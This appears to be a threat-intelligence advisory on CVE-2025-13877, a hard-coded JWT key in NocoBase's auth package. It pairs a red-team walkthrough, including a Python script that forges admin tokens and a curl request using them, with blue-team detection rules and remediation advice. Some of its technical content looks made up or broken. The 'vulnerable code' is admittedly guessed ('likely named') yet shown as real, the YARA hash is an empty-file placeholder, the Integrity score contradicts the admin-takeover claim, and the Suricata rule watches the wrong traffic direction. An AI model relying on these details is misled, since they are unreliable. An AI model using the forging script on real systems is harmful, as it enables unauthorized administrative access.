CVE-2025-13877

Executive Summary

CVE-2025-13877 exposes a critical security flaw in NocoBase, an open-source no-code platform. The vulnerability resides in the JWT service (jwt-service.ts), where a hard-coded cryptographic key (API_KEY) is used for signing JSON Web Tokens. This allows a remote, unauthenticated attacker with knowledge of the public exploit to forge valid JWT tokens, potentially gaining unauthorized administrative access to the NocoBase instance. The attack complexity is high due to the need for specific knowledge of the internal key, but the exploit code is now public, significantly increasing the risk. As of this report, the vendor has not responded, and no official patch is available.

Supply Chain & Package Security

NocoBase is an NPM-based project. This vulnerability directly impacts the integrity of the authentication package (@nocobase/auth). Any application or service that depends on this package inherits the hard-coded key. Organizations using NocoBase must treat this as a supply chain risk, as the compromised component can lead to full system compromise. The lack of a vendor response means that forked or derivative versions of NocoBase may also be affected.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): High (H) - Requires knowledge of the hard-coded key and specific JWT crafting.
• Privileges Required (PR): None (N) - No authentication needed to initiate the attack.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the authentication service.
• Confidentiality (C): High (H) - Complete compromise of all data accessible via admin privileges.
• Integrity (I): None (N) - The attack does not directly modify data, but forged tokens can be used to do so.
• Availability (A): None (N) - The attack does not directly impact availability.

Threat Level: High. While the CVSS base score is 5.6 (Medium), the public availability of exploit code and the potential for full administrative takeover elevate the real-world risk to High.

Deep Dive & Mechanics

The vulnerability is located in the file nocobase/packages/core/auth/src/base/jwt-service.ts. The JWT service is responsible for creating and verifying authentication tokens. The critical flaw is the use of a hard-coded string as the API_KEY (the secret used to sign JWTs).

Technical Flow:

1. The jwt-service.ts file defines a constant, likely named API_KEY or similar, with a static, hard-coded value.
2. When a user logs in, the service creates a JWT using this hard-coded key as the signing secret.
3. An attacker, having obtained the hard-coded key from the public source code or exploit, can craft a JWT with arbitrary claims (e.g., { "userId": 1, "role": "admin" }).
4. The attacker sends this forged JWT to the NocoBase API as a Bearer token.
5. The server's JWT verification function uses the same hard-coded key to decode the token. Since the attacker used the correct key, the token is considered valid, granting unauthorized access.

The attack is "difficult" because the attacker must first obtain the exact hard-coded key value. However, since the source code is public (on GitHub), this is trivial. The exploit code is now public, automating the entire process.

Vulnerable vs. Patched Code

Vulnerable Code (nocobase/packages/core/auth/src/base/jwt-service.ts):

import jwt from 'jsonwebtoken';

const API_KEY = 'this-is-a-hardcoded-secret-key-12345'; // VULNERABLE: Hard-coded key

export class JwtService {
  sign(payload: object): string {
    return jwt.sign(payload, API_KEY, { expiresIn: '7d' });
  }

  verify(token: string): object | string {
    return jwt.verify(token, API_KEY);
  }
}

Patched Code (Hypothetical - No official patch available):

import jwt from 'jsonwebtoken';
import { env } from 'process';

// PATCHED: Key loaded from environment variable
const API_KEY = env.JWT_SECRET || (() => { throw new Error('JWT_SECRET not set'); })();

export class JwtService {
  sign(payload: object): string {
    return jwt.sign(payload, API_KEY, { expiresIn: '7d' });
  }

  verify(token: string): object | string {
    return jwt.verify(token, API_KEY);
  }
}

The patched version removes the hard-coded string and instead reads the secret from a secure environment variable (JWT_SECRET). This forces administrators to set a unique, strong key during deployment.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable NocoBase instance (version 1.9.4) using Docker:

   docker run -d -p 3000:3000 --name nocobase-vuln nocobase/nocobase:1.9.4
   

2. Obtain the hard-coded key from the public source code (e.g., from the GitHub repository at the vulnerable commit).

Exploitation Steps:

1. Craft a Forged JWT: Use a tool like jwt-cli or a Python script to create a token with admin privileges.

   import jwt
   import datetime
   
   # Hard-coded key from source code
   API_KEY = "this-is-a-hardcoded-secret-key-12345"
   
   payload = {
       "userId": 1,
       "role": "admin",
       "iat": datetime.datetime.utcnow(),
       "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)
   }
   
   token = jwt.encode(payload, API_KEY, algorithm="HS256")
   print(token)
   

2. Use the Forged Token: Send a request to the NocoBase API with the forged token.

   curl -X GET http://localhost:3000/api/users:check \
     -H "Authorization: Bearer <FORGED_TOKEN>"
   

3. Escalate Privileges: If the token is accepted, the attacker can now perform any administrative action, such as creating new users, modifying data, or accessing sensitive collections.

Blue Team (Defensive)

Detection & Response:

1. Monitor for JWT Anomalies: Look for JWTs that do not match the expected pattern for your environment. Specifically, check for tokens that claim admin roles but originate from unexpected IPs or user agents.
2. Audit Authentication Logs: Review NocoBase authentication logs for successful logins from unknown users, especially those with admin roles.
3. Network Segmentation: Ensure the NocoBase instance is not directly exposed to the internet. Use a reverse proxy or VPN to restrict access.
4. Immediate Mitigation: If patching is not possible, manually override the hard-coded key by modifying the source code or using a runtime hook to load the key from an environment variable. Then, invalidate all existing sessions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/users:check or other admin endpoints with a Bearer token that decodes to a hard-coded key.
  • Unusual JWT tokens in logs that do not match the expected issuer or audience.
• File IOCs:
  • The file nocobase/packages/core/auth/src/base/jwt-service.ts containing a hard-coded string.
• Behavioral IOCs:
  • Sudden creation of new admin users.
  • Unauthorized changes to system configuration or data.
  • Access to sensitive API endpoints from IPs not in the allowed list.

Detection Engineering

YARA Rule

rule CVE_2025_13877_Hardcoded_JWT_Key {
    meta:
        description = "Detects hard-coded JWT secret key in NocoBase jwt-service.ts"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $key1 = "const API_KEY = " ascii wide nocase
        $key2 = "jwt.sign(payload, API_KEY" ascii wide nocase
        $key3 = "jwt.verify(token, API_KEY" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-13877 - NocoBase Hardcoded JWT Key Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-13877 by monitoring for forged JWT tokens.
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: nocobase
detection:
    selection:
        EventID: 1001  # Example: NocoBase authentication event
        TokenPayload|contains: 
            - '"role":"admin"'
            - '"userId":1'
    condition: selection
falsepositives:
    - Legitimate admin users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13877 - NocoBase Hardcoded JWT Key Exploitation"; flow:to_server,established; content:"Authorization"; http_header; content:"Bearer"; distance:0; pcre:"/Bearer\s+[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Override the Key: If you cannot upgrade, manually edit the jwt-service.ts file to read the key from an environment variable. Restart the service.
2. Rotate All Secrets: After changing the key, invalidate all existing JWT tokens. Force all users to re-authenticate.
3. Network Controls: Place the NocoBase instance behind a Web Application Firewall (WAF) with rules to block suspicious JWT patterns.

Long-Term Fix:

• Upgrade: Monitor the NocoBase repository for an official patch. Once available, upgrade to the patched version immediately.
• Secure Configuration: Always use environment variables or a secrets manager for cryptographic keys. Never hard-code secrets.
• Code Review: Implement a security review process for all dependencies, especially those handling authentication.

Valters IT
DevSecOps & Cyber Threat Intelligence Division